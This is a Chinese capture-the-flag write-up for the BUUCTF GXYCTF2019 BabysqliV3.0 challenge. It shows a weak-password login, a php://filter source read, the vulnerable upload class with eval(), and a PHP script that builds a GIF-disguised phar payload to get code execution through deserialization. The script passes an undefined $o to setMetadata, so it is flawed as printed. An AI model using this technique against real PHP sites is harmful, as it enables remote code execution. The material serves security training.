开始是一个登录页面,根据提示尝试万能密码,没啥用...这里尝试了几个弱口令就可以了
admin/password
使用伪协议读取文件内容
?file=php://filter/read=convert.base64-encode/resource=upload
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:// | filter:// | php:// | ./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
因为_destruct()会判断token和session是否相等,所以我们需要先找到session为何值
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$this->Filename = $sandbox.$_SESSION['user'].$ext;
随便上传一个文件即可获得session
通读代码发现了可操控的参数和命令执行函数
$this->Filename = $_GET['name'];
eval($this->cmd);
综上
-
file_get_contents()使$uploader对象
-
通过__toString()返回$this->Filename,
-
由于phar:伪协议可以不依赖unserialize()直接进行反序列化操作,
-
加之$this->Filename可控,
-
因此此处$this->Filename配合phar反序列化后,
-
__destruct()方法内eval($this->cmd);
-
最终导致了远程代码执行
生成的phar文件
class Uploader{
public $Filename;
public $cmd;
public $token;
}
$a = new Uploader();
$a->Filename = "test";
$a->token = "GXYef30c011592c6e5560ff89f2666ba200";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
上传文件后再将文件赋值给name,然后再随意上传一个文件,因为 $this->Filename 被我们手工指定为 phar,触发了 phar 反序列化导致命令执行
上传任意文件后,即可获得flag
原文来自CSDN博主「Uzero.」|侵删
![BUUCTF--[GXYCTF2019]BabysqliV3.0解题步骤详解 BUUCTF[GXYCTF2019]BabysqliV3.0解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/03/4-1648544318.png)
![BUUCTF--[GXYCTF2019]BabysqliV3.0解题步骤详解 BUUCTF[GXYCTF2019]BabysqliV3.0解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/03/2-1648544319.png)
原文始发于微信公众号(寰宇卫士):BUUCTF--[GXYCTF2019]BabysqliV3.0解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论